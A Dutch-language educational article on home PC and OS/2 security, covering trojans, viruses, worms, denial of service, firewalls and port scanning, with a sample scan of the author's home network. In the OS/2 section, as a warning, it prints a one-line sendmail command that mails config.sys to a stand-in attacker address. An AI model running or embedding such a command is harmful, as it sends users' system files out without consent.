Trojaanse paarden zijn dè methode om een Windows PC te infiltreren. Ze worden als cadeautje verpakt: screensaver, virusscanner, warez, Windows update en Klik hier mail. Dan komen ze via gaten in de webbrowser binnen. Ga dus niet zomaar als systeembeheerder surfen of onbekende programma's testen. Eenmaal binnen, slaan ze een gat in uw verdediging. Moderne Trojaans Paarden schakelen firewalls en virusscanners uit en voegen hun eigen functies aan het systeem toe. Hierbij kunnen ze ook systeembestanden overschrijven.

Stand-alone client systemen als Windows 9x draaien in principe geen internetdiensten. Ze missen de serveerpoorten waar je in kunt breken. Om een rivaliserende Windows PC tijdens een IRC of Quake oorlog toch onderuit te halen, werden exploits als Winnuke toegepast. Hierin verslikte de TCP/IP stack zich en het besturingssysteem liep vast. Maar om in te kunnen breken moet toch eerst een internetdienst worden geïnstalleerd. Of een verbinding via een P2P of IRC netwerk worden gelegd.

Hierbij wordt misbruik gemaakt van de onwetendheid van de gemiddelde PC gebruiker. Door uzelf (mail, download) of via een behulpzame buurjongen (gratis softeware) kunnen die servers op uw computer worden gezet zodat anderen de besturing van uw PC kunnen overnemen (Back Orifice, Subseven, NetBUS). Ze worden verpakt als onschuldige programma's of multimedia scripts. Eenmaal geïnstalleerd draaien ze zonder dat u het weet op de achtergrond. Keyloggers registreren iedere toets en mailen de resultaten naar een luistervink. Ook commerciële software gedraagt zich soms als een Trojaans Paard. Een voorbeeld zijn de programma's die uw surfgedrag loggen (Spyware en adware).

Via een poortscan op een reeks IP adressen van een internetprovider kan iedereen achterhalen waar Trojaanse Paarden als server draaien en toeslaan. Vervolgens kunnen uw computer, bandbreedte en goede naam willekeurig worden misbruikt door kwajongens (script-kiddies), die de spot met u drijven, maar ook voor ronduit criminele activiteiten als massamailings (spam, zwendel), platleggen van andere sites (Denial off Service Attacks), verspreiding van virussen en pornografie. Vooral breedband internet verbindingen die dag en nacht aan staan (kabel, ADSL) lenen zich hiervoor.

Root kits. Root kits zijn de meest gevreesde Trojaanse paarden. Ze zorgen voor een dubbele besturing. Terwijl u denkt dat u alleenheerser van uw PC bent, kan de gebruiker van een op uw PC geïnstalleerde rootkit uw PC besturen (en afluisteren) zonder dat u dat in de gaten hebt. De kunst van de rootkit is dat hij zich net als een stealth virus onzichtbaar maakt. Hiertoe zal hij commando's als ps, netstat en passwd onderscheppen.

Computervirussen

Het eerste computervirus werd door twee Pakistaanse broers geschreven (Brain, 1986). Met dit virus beoogden ze illegale verspreiding van hun software te voorkomen. Onbedoelde verspreiding van virussen via de officiële diskettes en CD's van softwareleveranciers komt een enkele keer voor. Microsoft fabriceert haar diskettes voor de zekerheid onder UNIX.

In DOS tijden werden virussen vooral via diskettes ("programmaruil") verspreid. Dat gaat langzaam. Als een virus tot een zichtbare actie overgaat, wordt het ontdekt. Om genoeg tijd te hebben om zich ongemerkt te verspreiden, werd een triggerdatum ingesteld. Op dit principe zijn de viruskalenders gebaseerd.

Tegenwoordig zullen de meeste virussen zich via het internet (email, nieuwsgroepen, downloads) verspreiden. Verspreiding via een email adresboek gaat razendsnel. De laatste generatie emailvirussen scant de IE cache op emailadressen en verspreidt zich met haar eigen emailserver. Dergelijke emailvirussen kunnen het zich permitteren vrijwel meteen tot destructieve acties over te gaan. Tegen de tijd dat u er achter komt dat iets niet klopt, heeft het virus zich al wijd en zijd verspreid.

Bestandsvirussen (parasitaire virussen) hechten zich aan programma's (infectie). Ze worden bij het opstarten van een geïnfecteerde programma in het geheugen geladen (resident). Daarna zullen ze het besturingssysteem gebruiken om zich naar andere programma's te verspreiden. Ze zijn in de regel OS specifiek (vooral DOS en Win 32). Om opsporing te voorkomen zullen sommige virussen hun programmacode veranderen (polymorf) en/of hun aanwezigheid op de harde schijf verbergen (Stealth). De Stealth truc werkt echter niet als u vanaf een schone reddingsdiskette of vanuit een VDM onder OS/2 scant. Het virus moet geheugenresident zijn om het besturingssysteem te kunnen misleiden.

Het in real mode lopende DOS gaf virusmakers onbeperkte toegang tot het geheugen en de hardware. Een onder "real" DOS lopend virus zal ook OS/2 programma's op FAT schijven beschadigen, door onbedoelde acties meer dan een DOS doelwit. Ook al mislukt een poging om een OS/2 programma te infecteren, het zal het OS/2 programmabestand onherstelbaar beschadigen. In theorie kunnen DOS virussen de "DOS stub" ("Dit programma werkt niet in een DOS-sessie.") van een OS/2 programma infecteren. Maar het is onwaarschijnlijk dat een Stealth virus dat ontworpen is om DOS te misleiden, dit ook onder OS/2' s DOS emulatie kan doen. Waarschijnlijk loopt het vast. Een reden is dat OS/2 de toegang tot het geheugen en de bootsectoren afschermt. De effecten van DOS virussen onder OS/2 zijn daarom moeilijk in te schatten.

Boot sector virussen verstoppen zich niet alleen in programma's maar ook in de bootsector van vaste schijven en diskettes. Ze kunnen al in de bootsector van lege datadiskettes zitten! U raakt ze met een format c: niet kwijt. FDISK /MBR kan wel helpen, maar is riskant (boot sector virus). Bootsector virussen zijn eigenlijk PC BIOS virussen. Ze worden door het besmette bootprogramma geactiveerd. Dus al voordat het besturingssysteem en uw virusscanner geladen zijn. Ze kunnen zich via het BIOS van bootsector naar bootsector verspreiden. Onder het "real mode" DOS konden ze resident blijven en van BIOS diensten gebruik maken. Onder OS/2's en NT's virtuele stuurbestanden zal dat niet lukken. Maar ze kunnen nog wel bootproblemen geven. Vooral dual-boot constructies zijn kwetsbaar. Daarom vormen ze ook voor de OS/2 gebruiker een groot gevaar. Door de bootvolgorde in het BIOS standaard op C, A (niet A,C) te zetten voorkomt u een besmetting van de Master Boot Record via de bootsector van een diskette.

Het eerste Windows 95 virus verscheen in januari 1996 (Boza, 'designed for Windows 95'). Windows bleek een uitstekend virusplatform. Achtennegentig procent van de virussen wordt voor Windows gemaakt. Hiervan circuleren honderden in het wild. Ook voor NT (NT Explorer), OS/2 (Jiskevet) en Linux zijn er enige virussen gemaakt.

De zich via het MS Outlook adresboek verspreidende e-mail virussen doen het goed. Als ze van bekenden komen, wekken ze weinig achterdocht op. Anderen (I love you) wekken de nieuwsgierigheid op. Ze worden verspreid als attachments. De attachments kunnen geïnfecteerde documenten zijn (Wordbasic macro in Wordbestanden), zelfstandige macro's (.vbs, Visual Basic Script) of uitvoerbare bestanden (.exe, .pif of .com). Het "plaatje" van AnnaKournikova.jpg.vbs levert dus een verrassing op.

Een virusscanner biedt maar een beperkte bescherming. Zo worden met PKLite ingepakte exe-virussen en Trojaanse paarden zelden door virusscanners herkend. Hetzelfde geldt voor OLE objecten. De extensies van het Windows Scrap Object (*.shs) worden zelfs in de Windows Explorer niet gezien. Maar hiermee kan wel een shell worden geladen (The Windows Scrap Object (.SHS) Explained). Gewoon geen attachments onder Windows openen is het devies. En liever ook niet onder Pegasus, aangezien de laatste breed Magistre virussen hun eigen email programma meebrengen.

Lastig is dat vrijwel alle niet in het gewone tekst formaat geschreven berichten (HTML, DOC) destructieve scripts kunnen bevatten. Vooral de op MS Office georienteerde macrovirussen zijn populair. Wat moet u als uw baas u een Word bestand toestuurt? Het kan een macrovirus bevatten. Onder StarOffice, WordPro en 123 kunnen Word en Excel basic macro's gelukkig geen kwaad. Ze worden gewoon niet uitgevoerd. Een Word document dat WordPro of SO laat vastlopen is meestal "snel opgeslagen". Onder Word voor Windows (Win-OS/2) ligt dat natuurlijk anders. MS Office gebruikers kunnen de bestanden ook als Rich Text Format (.rtf) en Comma Separated Values (cvs) exporteren. Lastig is dat sommige macrovirussen besmette DOCs met de extensie RTF exporteren. Opent u ze in Word dan bent u de klos. Macrovirussen die *.bat, *.123 en *.cmd bestanden beschrijven zijn bekend, maar voor zover ik weet treden die bestanden weinig als drager op. Het moet evenwel niet moeilijk zijn om een gevaarlijk Rexx-virus te schrijven. En wat te denken van Star Basic of Lotus script?

Wormen maken gebruik van zwakke plekken in het computernetwerk om van computer naar computer te migreren. Wormen zijn onder Unix ontstaan (The Internet Worm of 1988). Tegenwoordig is Microsofts Outlook hun bekendste doel. Maar op de site van Microsoft komt u het woord "MS Outlook virus" niet tegen.

The w32.Myparty@mm virus is a mass-mailing e-mail worm that sends e-mail messages to everyone in the Windows Address Book and by searching for e-mail addresses in Microsoft Outlook Express Inboxes and folders.

Microsoft wijst alle verantwoordelijkheid voor het probleem af en verwijst naar haar business partners voor de oplossing:

If your computer is infected with this virus, update your virus signatures to detect and remove the virus, and then follow your antivirus manufacturer's instructions for virus removal.

Tegenwoordig zie je veel hybride virussen. Ze hebben kenmerken van wormen, bootsector-, file-infectorvirussen en verspreiden zich snel (email). Ze zijn nauwelijks te verwijderen en kunnen uitermate destructief zijn. Code Red is een voorbeeld.

Een hoax is een email bericht waarin iemand opgeroepen wordt om iets te doen (bijv. een bestand wissen) en het bericht meteen onder zijn kennissen verder te verspreiden opdat een ramp voorkomen wordt. De hoax verspreidt zich als u het bericht serieus neemt..

Denial of service (DoS)

Denial of Service is een illegale crackers techniek. Meestal beperkt een Denial of Service aanval zich tot het lam leggen van een server. Maar een DOS bombardement kan ook de voorbode van een meer gerichte aanval inluiden. Net zoals een bombardement op de vijandelijke stellingen van dat doet.

De techniek lijkt op deurtje bellen. Een firewall kan beschermen tegen IMCP verzoeken (ping-flooding), maar een webserver die voor iedereen bereikbaar wil zijn, zal zijn poort 80 niet blokkeren. Om dezelfde reden zijn mailservers kwetsbaar. Door massaal IP pakketjes naar de server te sturen raakt de server overbelast. Om te voorkomen dat de aanvallers zelf overbelast raken wordt de server van verschillende kanten bestookt (distributed denial of service). Vaak zijn de daders niet meer te achterhalen omdat de adressen van de afzenders in de IP pakketjes veranderd zijn (IP spoofing). Een gedistribueerde DoS aanval kan ook 's nachts via de PC's van niets wetende (met NetBUS gehackte) kabelmodembezitters uitgevoerd worden.

Een voorbeeld is de goed voorbereide DDoS aanval op de chat sessie van Prins Willem-Alexander en Máxima met het Nederlandse publiek. Volgens een interview van de Telegraaf met een van de daders ('We wilden KPN een lesje leren') hadden de aanvallers 3000 van de 10.000 door hen gekraakte computers ingezet om de KPN chatserver met verzoeken te overspoelen. Deze produceerden volgens de KPN drie miljard verzoeken, terwijl er maar op enkele tienduizenden chatters was gerekend (tweakers.net).

Een overbelaste server is kwetsbaar. Door de DoS aanval zullen nieuwe beveiligingslekken ontstaan. De altijd buggy software gedraagt zich onder stress nog minder voorspelbaar. Tijdens een bombardement aan de voordeur zullen dus inbraakmogelijkheden bij de achterdeur ontstaan.

De situatie onder OS/2

OS/2 gebruikers mogen van geluk spreken dat virusmakers het vooral op DOS, Windows en MS Office begrepen hebben. Ik moet het eerste "wilde" OS/2 virus nog zien, laat staan een OS/2 viruskit voor pubers of een BackOrifice achtige server. Maar reden om te juichen hebben we niet. Integendeel. Alles dat onder OS/2 automatisch (niet interactief) gaat, herbergt een gevaar. De virusmakers hebben hun destructieve activiteiten alleen nog niet op OS/2, Wordpro en StarOffice/OpenOffice gericht. U loopt meer gevaar als Windows applicaties onder OS/2 draait (Odin, WIN32 API en vooral als u bestanden deelt via Virtual PC).

Trojaanse paarden, scripts en exploits blijven een gevaar. Een simpel Rexx script of ander uitvoerbaar bestand al kan nare dingen doen. Het blijft dus noodzaak om de herkomst van uw bestanden te controleren. En bekijk in het geval van een setup.cmd eerst de inhoud daarvan. OS/2 is flexibeler dan u denkt. Zo zal de volgende opdracht uw config.sys (of met een variatie iets anders) naar happy@cracker opsturen:

sendmail -f %USER%@%HOSTNAME happy@cracker < config.sys 

Ook LotusScript kan via de Shell functie gemene zaken oproepen. Het (slecht naar OS/2 vertaalde) helpbestand rept van *.bat, *.com, *.pif en *.exe bestanden, maar ik weet haast wel zeker dat *.cmd bestanden het ook zullen doen. In ieder geval via de LotusRexxManager. Met een knop "Klik hier" in een Wordpro bestand kan dus van alles opgestart worden (inclusief de hierboven genoemde sendmail opdracht). Diverse Rexx deïnstallatiescrips bevinden zich al op vaste locaties op uw schijf. Wil je een audiofiel pesten dan stuur je hem een Wordpro bestand op dat via LotusScript zijn MMOS2 deïnstalleert.

Reden voor mij om de Algemene opties in Lotus Wordpro maar eens te nader te inspecteren. Ik ging naar Bestand / Gebruikersinstellingen / Wordpro voorkeuren / Andere algemene opties uitschakelen en zag daar een grote lijst met items staan. De items Opstartscripts en Scripts voor openen document waren niet aangevinkt en dus ingeschakeld. Enigszins paranoia geworden besloot ik ze uit te schakelen (aan te vinken).

U loopt altijd een groot gevaar als u de servers uit het tabblad "Automatisch functies starten" van het TCP/IP configuratie notebook van OS/2 Warp 4 draait. Deze zogenaamde Berkeley TCP/IP utilities stammen uit de tijd dat het internet nog relatief veilig en besloten was. De wachtwoorden worden onversleuteld verzonden. Ze zijn eigenlijk alleen nog maar inzetbaar op een gesloten netwerk of achter een firewall.

Nadenken over veiligheid

Mensen willen zowel het een als het ander. En als het mis gaat een gouden tip. Ook op de computer leven we in een consumptiemaatschappij. U kunt installeren wat u wilt. Een 40 GIG harde schijf is al standaard. Maar ieder programma of stuurbestand levert weer nieuwe gevaren op. Het bedekken van die zee van mogelijkheden door een lappendeken van beveiligingsmaatregelen (inclusief een haastig geïnstalleerde firewall) is zelden effectief.

Denk niet dat u met wat slimme tips eigen onderzoek, wikken en wegen en principiële keuzen overbodig maakt. U weet in welke categorie de top tips om de computer te versnellen thuishoren: Een leuke bezigheid, maar je wint er zelden tijd mee.

Gouden netwerktips kan en wil ik u dus niet geven.

  1. U moet uzelf beperkingen willen opleggen. U kunt niet alles op een computer installeren en toch veilig zijn. Het gebruik van OS/2 voor email is al een eerste stap. Het denkwerk is de volgende. Firewall wizards die u het denkwerk uit handen nemen bestaan niet.

  2. U moet steeds weten wat u wilt en wat u daadwerkelijk doet. Het vereist een stukje computerbewustzijn. Is dat niets voor u en blijft u liever een onschuldig klikkende digibeet, dan moet u dit denkwerk uitbesteden.

Maar met dat laatste hoop ik u op wat op weg te helpen. Ik probeer TCP/IP begrijpelijk te houden door de volgende analogieën te hanteren:

Een host is een gebouw of huis.

Een server is een dienstverlenende instantie.

Een poort is het loket waarachter een bepaalde dienst te vinden is.

Maar voor een juiste vertaling en interpretatie blijft enige basale TCP/IP kennis onvermijdelijk. Om het concreet te maken is heb ik het hier en daar als practicum opgezet. Bepaalde opdrachten kunt u zelf uitvoeren. Dat geeft inzicht in uw situatie. De voorbeelden die ik geef dienen slechts om deze manier van denken te concretiseren. Ze zijn niet bedoeld als kant en klare oplossingen. Het gaat mij er om dat u zelf leert te ontdekken wat u doet.

De 5 W's van de arbowet

Ik volg nu de manier van denken van de arbowetgeving. Deze is vastgelegd in een rijtje van vijf W's: willen, weten, wegen, werken en waken.

Het willen staat altijd voorop. U moet dit artikel willen lezen en bereid zijn er energie (tijd en geld) in te investeren. U moet onderzoeken wat de gevaren zijn. Hiervoor dient de risico-inventarisatie en evaluatie (het weten). Daarna moet u wegen. Wat moet het eerst gebeuren? Wat is essentieel, maar kan nog wachten? U legt de taken vast in een plan van aanpak. Het werken is het uitvoeren van de maatregelen. Het waken is de controle op de effectiviteit. Houden we ons aan de regels? Werkt het zoals verwacht? Met beveiligen ben je nooit klaar: het is een cyclisch proces.

Een huis beveiligen

In dit artikel wordt een host op het TCP/IP netwerk vergeleken met een gebouw. Een server met een dienstverlenende instantie. Vandaar deze vraag: Stel u wilt uw huis of bedrijf tegen inbraak beveiligen. Wat moet u dan doen?

In eerste instantie gaat u de risico's inventariseren. U loopt er eens omheen, kijkt met de ogen van een dief en let vooral op de deuren en ramen. Pas als u de zwakke plekken van het huis kent, kunt u gerichte maatregelen nemen. Die legt u vast in een plan van aanpak. Hierbij bepaalt u zelf de prioriteiten. Niet ieder gebouw hoeft als een bunker beveiligd te zijn. Leefbaarheid is ook van belang. Misschien laat u een brandmelder, dievenklauwen en/of extra sloten aanbrengen. En haalt u de sleutel onder de mat vandaan. U hebt ongetwijfeld wel ideeën.

Daarna is het vooral een zaak van acceptatie en discipline. Want bewoners en gasten moeten zich aan bepaalde huisregels houden. Onderschat de menselijke factor in de wet van Murphy niet. Als iemand de regels aan zijn laars lapt en de achterdeur altijd open laat, hebben andere maatregelen weinig zin. Een beveiliging is zo sterk als haar zwakste schakel. Daarom is het noodzakelijk om met regelmaat de effectiviteit van de beveiligingsmaatregelen in de praktijk te testen (waken). Voordat een brand of een inbreker dat doet.

Een host beveiligen

De principes zijn u nu wel duidelijk, maar uw internetcomputer of netwerk aan huis (host) is geen gebouw waar je zo even doorheen loopt om de deuren en ramen te sluiten. Ja, u kunt de kabels er uittrekken, maar dat is in vredestijd wel erg rigoureus: uw aanvoerwegen blaast u niet zomaar op. Hoe doet u het dan wel?

De beveiliging van een netwerk ten opzichte het internet wordt met de term firewall aangeduid. De term komt uit de (bos)bouw, waar brandvrije schotten en aarden wallen het overslaan van (bos)branden moeten voorkomen.

In het internetjargon slaat het op de beheersing van het internetverkeer tussen het lokale netwerk (trusted world) en de buitenwereld. Hierbij maakt men gebruik van logische filters en proxy servers. Zaken die je niet met je ogen ziet, maar die je met netwerksoftware zichtbaar kunt maken.

Is de installatie van een firewall dan de oplossing? Om eerlijk te zijn denk ik dat een brandmuur voor de meeste OS/2 thuisgebruikers nog niet eens nodig zal zijn. Zolang u geen server draait zou niemand zomaar bij u kunnen binnendringen. En dat is een immens verschil met het door virussen geteisterde Windows.

Maar het hangt er helemaal van af wat u doet. Staat er gevoelige informatie op het met het internet verbonden netwerk? Hebt u een kabelmodem dag en nacht aanstaan? Weet u zeker dat er geen servers op uw OS/2 PC geïnstalleerd zijn? Het kunnen goede redenen zijn het zekere voor het onzekere te nemen.

Actieve TCP/IP programma's hoeven niet in het taakoverzicht te verschijnen. Juist servers worden vaak met een "onzichtbare" detach opdracht gestart. Denk hierbij niet alleen aan klassiekers als NetBIOS via TCP/IP, Samba (bestands- en printerdeling) en Apache (WWW), maar ook aan:

Dan zal een poortscan, pstat of een netstat -s verheldering kunnen brengen.

Om die vragen te beantwoorden begint de beveiliging van de netwerk met een risico-inventarisatie. Netwerkbeheerders dienen de kieren en gaten van hun netwerk te kennen. Op grond hiervan stellen ze in opzet veilige procedures (huisregels) in. Hierbij moeten ze niet alleen de netwerkstructuur, maar ook de (on)mogelijkheden van de programma's en hun gebruikers in de gaten te houden...

Wat is veilig?

"Security is a matter of trust" schrijven de auteurs van het SuSE Linux handboek terecht. Want wie is te vertrouwen? IBM? Microsoft? Vertrouwt u aan hen een internet upgrade van uw besturingssysteem toe? Als puntje bij paaltje komt kan niemand u zekerheid geven. De beursgenoteerde multinationals vertrouwen hun eigen programmeerkunst al niet. Ook de duurste software licenties beginnen daarom met een disclaimer. U gebruikt hun producten geheel en al voor eigen risico. Bij de aankoop van een auto zou u dit niet accepteren, maar in de softwarewereld is gebrek aan garantie gemeen goed.

En geven softwarebedrijven u dan ten minste de hun bekende informatie door? Niet altijd en vaak met tegenzin. Het is niet goed voor hun beursnotering. Wat niet weet, dat niet deert. De kwestie van het stiekem doorgeven van het Pentium serienummer aan de internetservers van Microsoft heeft menigeen wel aan het denken gezet. Als u dit principe eenmaal doorhebt geeft Security through obscurity u geen veilig gevoel. Welke undocumented features in de door u gebruikte software spelen nog meer een rol? China propageert het open source Red Flag Linux. En niet alleen om de kosten van de Microsoft licenties te drukken. China realiseert zich dat het National Security Agency van de US government (niet het Ministerie van Justitie) meer van de zwakke plekken van MS Windows af weet dan zijzelf...

Security bulletins op het internet geven de door hackers en ontwikkelaars gesignaleerde problemen door. Soms moeten ingrijpende maatregelen getroffen worden om kleine hiaten te dichten. Beveiliging wordt dan een dagtaak. Een stom foutje en er valt geen mailserver meer te beveiligen. Never change a running system denk je dan achteraf. Maar als u dit beveiligingsniveau wilt bereiken, dan komt u niet meer aan surfen toe.

Omdat zelfs professionele systeembeheerders ondertussen al niet meer weten waar ze beginnen moeten heeft de FBI een top 20 van beveiligingslekken opgesteld: SANS Resources - The Twenty Most Critical Internet Security Vulnerabilities (Updated). Het idee hierachter is dat de inbrekers meestal de gemakkelijkste weg kiezen. De altijd openstaande achterdeur en reservesleutel onder de deurmat moet u hen dus als eerste ontnemen. Als u de meest voorkomende grote lekken dicht zal de eerste de beste gelegenheidsdief uw huis wellicht overslaan.

Maar is het dan veilig? Net als bij de beveiliging van een gebouw is de discipline en de onwetendheid van de gebruiker vaak de zwakste schakel. En wat die goed of fout doet hangt weer af van de zichtbare (instellingen) en onzichtbare werking (neveneffecten) van het door hem gebruikte besturingssysteem en zijn programma's. Windows is handig voor digibeten, maar niet als u op veiligheid inzet. Plaats een HCC net CDRom in een Windows netwerk PC en de beste firewall wordt automagisch met een dial-up verbinding omzeild. Zoals een schone jonkvrouw vanuit haar torenkamervenster een touwladder uitwerpt. Geen wonder dat de Amerikaanse overheid het na de aanval op New York van 11 september 2001 nodig vond om Microsoft op de vingers te tikken met betrekking tot de veiligheid. Gebruikersgemak is een mooi goed, maar niet als er teveel misbruik van kan worden gemaakt.

De rol van het besturingssysteem

De bugs en configuratiefouten die de beveiliging bedreigen bevinden zich in programma's. Maar de schade die een geëxploiteerd programma aanricht is afhankelijk van het besturingssysteem. Multi-user besturingssystemen als UNIX en Linux zijn beter te beveiligen dan single-user systemen dan DOS, Windows en OS/2. Op multi-user netwerkbesturingssystemen kunt u de de toegangsrechten tot databestanden, programma's en hardware tot in de finesses regelen. Enkele speciaal voor de hardware ontwikkelde besturingssystemen (van routers tot mainframes) bereiken het hoogste beveiligingsniveau.

Microsoft prefereerde gebruikersgemak en nieuwe features boven veiligheid. Nieuwe programma's, netwerkverbindingen en hardware moesten gemakkelijk te installeren zijn. Eenmaal geïnstalleerd moest een programma met de standaard instellingen in de meeste situaties werken. Hiermee werd Windows populair, maar ook een ideaal doelwit voor virusschrijvers. Plug en play, klik en installeer werkt ook voor een virus of cracker. Door de opkomst van emailvirussen werd het alles-in-één internet-, game- en kantoorsysteem van de gemiddelde thuisgebruiker bijzonder kwetsbaar voor misbruik. Ieder met het internet verbonden Windows werkstation heeft daarom een personal firewall en virusscanner nodig.

Op UNIX gebaseerde netwerkbesturingssystemen zijn daarentegen altijd principieel onveilig geweest. UNIX servers moesten meerdere gebruikers ondersteunen. Informaticastudenten konden hun hackerskunsten dus als eerste op het UNIX universiteitsnetwerk uitleven. In de loop der tijd ontwikkelden de UNIX systeembeheerders en programmeurs daarom steeds meer middelen om misbruik te voorkomen. En voor zover die open source waren konden ook anderen daarvan profiteren.

De basis van netwerkbeveiliging is altijd een vorm van gebruikersidentificatie (inlogprocedure) in combinatie met bestandssysteem met vrij rigide toegangspermissies (Acces Control Lists). Gebruikers moeten zich identificeren en draaien de programma's onder hun eigen naam. Programma's mogen alleen de bestanden van hun gebruikers benaderen. Ook servers draaien bij voorkeur onder een eigen account. Dit voorkomt dat een gecrasht, gehacked of anderszins beschadigd programma andermans data en/of systeembestanden kan overschrijven.

Zo' n wachtwoordbeveiliging werkt natuurlijk alleen als u er ook gebruik van maakt. En als uw wachtwoord niet te gemakkelijk af te luisteren, te raden of te kraken is. En als u gebruikersprogramma's onder het rootaccount draait is juist het zo op serveren ingestelde Linux een levensgevaarlijk speeltje. En zijn de gevolgen van bugs en veiligheidslekken meteen systeemwijd.

Maar als ik onder Linux als gebruiker sjoerd een emailprogramma opstart, dan zal dat programma onder mijn naam lopen. Zou ik hiermee een email virus oplopen, dan kan dit virus zich weliswaar via mijn adresboek verspreiden, maar het kan niet zoals onder OS/2 of Windows namens sjoerd mijn systeembestanden overschrijven. Via het adresboek zou het zich ongetwijfeld naar root@zolder.thuis kunnen verspreiden, maar als root zijn post leest onder een andere (gebruikers)naam dan is ook dat gevaar ook geweken. Op een single-user systeem los je dat nooit op.

Ook bij een telnet naar een UNIX of Linux station blijft het grootste deel van het systeem (hardware, bestanden en opdrachten) voor u verborgen - tenzij u over het wachtwoord van de systeembeheerder (root, de generaal) beschikt. Maar wie via telnet op een single-user Windows of OS/2 systeem inlogt krijgt meteen toegang tot alle opdrachten en vrijwel alle (niet geopende) bestanden. Om die reden vormt een slecht geconfigureerde of buggy ftp of www server onder OS/2 een veel groter veiligheidsrisico dan onder NT of Linux. De internetdiensten van OS/2 Warp 4 en eCS zijn dan ook bedoeld voor lokaal gebruik: d.w.z. slechts op privé IP adressen en/of achter een zeer goed ingestelde firewall!

De risico's inventariseren

Uw netwerk of internet PC is gelukkig geen Pentagon. Ik ben geen netwerkspecialist of meesterkraker. Over de kieren en gaten (achterdeuren) in de netwerksoftware heb ik het dus verder niet. Ik zal het vooral hebben over de wijd openstaande poorten. Ingangen voor dieven waarvan u misschien niet eens wist dat ze bestonden. We lopen daarom eerst een rondje om het huis.

Diensten en poorten. Zet de poortscanner erop!

Het schijnt niet strafbaar te zijn om langs geparkeerde auto's te lopen en systematisch te controleren of de portieren wel afgesloten zijn. Junks die toevallig geen koevoet bij zich hebben, plegen dat te doen. Een junk beschouwt een geparkeerde auto als een dienst.

Iets dergelijks kunt u ook met de computers op het TCP/IP netwerk uithalen. Een TCP/IP poortscanner is wat u nodig hebt. Op Hobbes zult u een freeware PM poortscanner voor OS/2 aantreffen. Wilt u dit - niet altijd gemakkelijke - artikel verder bestuderen, dan raad ik u aan om aan om het programma op te halen en er wat mee te spelen. De poortscanner bekijkt uw PC met de ogen van een hacker en maakt de problematiek voor u aanschouwelijk.

De TCP/IP poortscanner voor OS/2 van de Zwitser Ralf Cristen test niet of de poorten van uw TCP/IP netwerk open staan, maar geeft wel aan waar de poorten op uw TCP/IP netwerk zijn. Dit zijn geen fysieke poorten die u met het oog ontwaart (zoals de COM poorten), maar logische poorten. Ze zitten in de netwerksoftware. Ze zijn alleen door TCP/IP software te zien, te openen en te sluiten. De poortscanner zoekt de poorten waarachter een TCP dienst verscholen zit voor u op. Dat kan de scanner doordat de TCP/IP stack van de gescande host op bepaalde verzoeken moet reageren. Dat schrijven de TCP/IP regels (rfc793) nu eenmaal voor...

Onder TCP/IP hebben poorten en netwerkdiensten nummers. De voorloper ervan, Network Control Protocol (NCP) is door het het Amerikaanse Ministerie van Defensie ontwikkeld. De poorten 0 t/m 1023 staan bekend als geprivilegieerde poorten. Ze worden bij voorkeur aan zogenaamde "bekende" diensten gekoppeld. Bijv. poort 23 aan de Telnet dienst (telnetd). Ook de geregistreerde poorten 1024 t/m 49151 kunnen diensten herbergen. De dynamische poorten 49152 t/m 65535 worden vooral door de internetcliënten gebruikt (zie verderop).

Als u met de poortscanner het netwerk van een internet provider test, zit u al in de fout. Dat wordt gezien als misbruik maken van uw internetabonnement. Als iemand zich er bij abuse@uwprovider.nl over beklaagt riskeert u minimaal een royement.

Maar voor didactische doeleinden en voor het testen van uw eigen PC of netwerk kan ik u zo'n poortscanner van harte aanbevelen. U kunt dan zelf uitzoeken waar de poorten (gaten) op uw internetcomputer of netwerk zijn. Dat is onontbeerlijk voor inventarisatie van de problematiek. Het is vervelend als een hacker gaten in uw huis aantreft, waarvan u niet eens wist dat ze bestonden. De beste poortscanner van dit moment is waarschijnlijk Network Mapper (nmap) van Fyodor.

Beschikt u niet over een thuisnetwerk, dan kunt u een poortscan op "localhost" uitvoeren. Een veilig adres om via het internet openstaande poorten te testen is: Shields UP! -- Internet Connection Security Analysis van Steve Gibson (http://grc.com/faq-shieldsup.htm). Steve Gibson leeft ervan: Met hart en ziel. Ik verwacht daarom dat hij te vertrouwen is.

Een poortscan op mijn thuisnetwerk (met eComStation en SuSE Linux 7.1 actief) leverde het volgende op:

127.0.0.1 (localhost) 
Port 111 - sunrpc SUN Remote Procedure Call 
Port 139 - netbios-ssn NETBIOS Session Service 
Port 515 - printer spooler 
Cannot connect to port 1539 (but service seems to be there) 
Cannot connect to port 1785 (but service seems to be there) 
Cannot connect to port 3303 (but service seems to be there) 
Cannot connect to port 21847 (but service seems to be there) 
192.168.0.1 (visser.thuis) 
Port 111 - sunrpc SUN Remote Procedure Call 
Port 139 - netbios-ssn NETBIOS Session Service 
Port 515 - printer spooler 
192.168.0.2 (zolder.thuis) 
Port 21 - ftp File Transfer [Control] 
Port 22 - ssh SSH Remote Login Protocol 
Port 23 - telnet Telnet 
Port 25 - smtp Simple Mail Transfer 
Port 37 - time Time 
Port 79 - finger Finger 
Port 80 - http World Wide Web HTTP 
Port 80 - www World Wide Web HTTP 
Port 80 - www-http World Wide Web HTTP 
Port 110 - pop3 Post Office Protocol - Version 3 
Port 111 - sunrpc SUN Remote Procedure Call 
Port 113 - ident 
Port 113 - auth Authentication Service 
Port 119 - nntp Network News Transfer Protocol 
Port 139 - netbios-ssn NETBIOS Session Service 
Port 143 - imap Internet Message Access Protocol 
Port 513 - login remote login a la telnet; 
Port 514 - shell cmd 
Port 515 - printer spooler 
Port 635 - rlzdbase RLZ DBase 
Cannot connect to port 1385 (but service seems to be there) 
Cannot connect to port 1507 (but service seems to be there) 
Cannot connect to port 1600 (but service seems to be there) 
Cannot connect to port 1696 (but service seems to be there) 
Cannot connect to port 1808 (but service seems to be there) 
Cannot connect to port 2233 (but service seems to be there) 
Cannot connect to port 3331 (but service seems to be there) 
Cannot connect to port 9992 (but service seems to be there) 
** * Finished ** * 

Binnendeuren en buitendeuren

U ziet het resultaat van een poortscan op de IP adressen van de computers visser.thuis (bèta eComStation) en zolder.thuis (SuSE Linux). Op de eComStation PC "visser" in het domein "thuis" worden drie (via de loopback interface zeven) en op de Linux PC "zolder" worden maar liefst achtentwintig poorten aangetroffen.

Dat laatste is niet zo verwonderlijk. De Linux PC fungeert in mijn netwerk als server. En een server moet diensten aanbieden (serveren). Een poort is hier niets meer dan een loket of een deur. Achter ieder loket gaat een bepaalde dienst schuil. Men spreekt van bekende diensten. Via poort 515 kan bijv. een printer benaderd worden en via poort 139 het bestandssysteem. De genoemde bestand- en printerdiensten kunt u in een Windows of OS/2 peer-to-peer (evenknie)netwerk beter via het klassieke NetBIOS (NETBEUI) protocol aanbieden, maar voor de overige internetdiensten (mail, news, remote login, etc.) geldt dat niet.

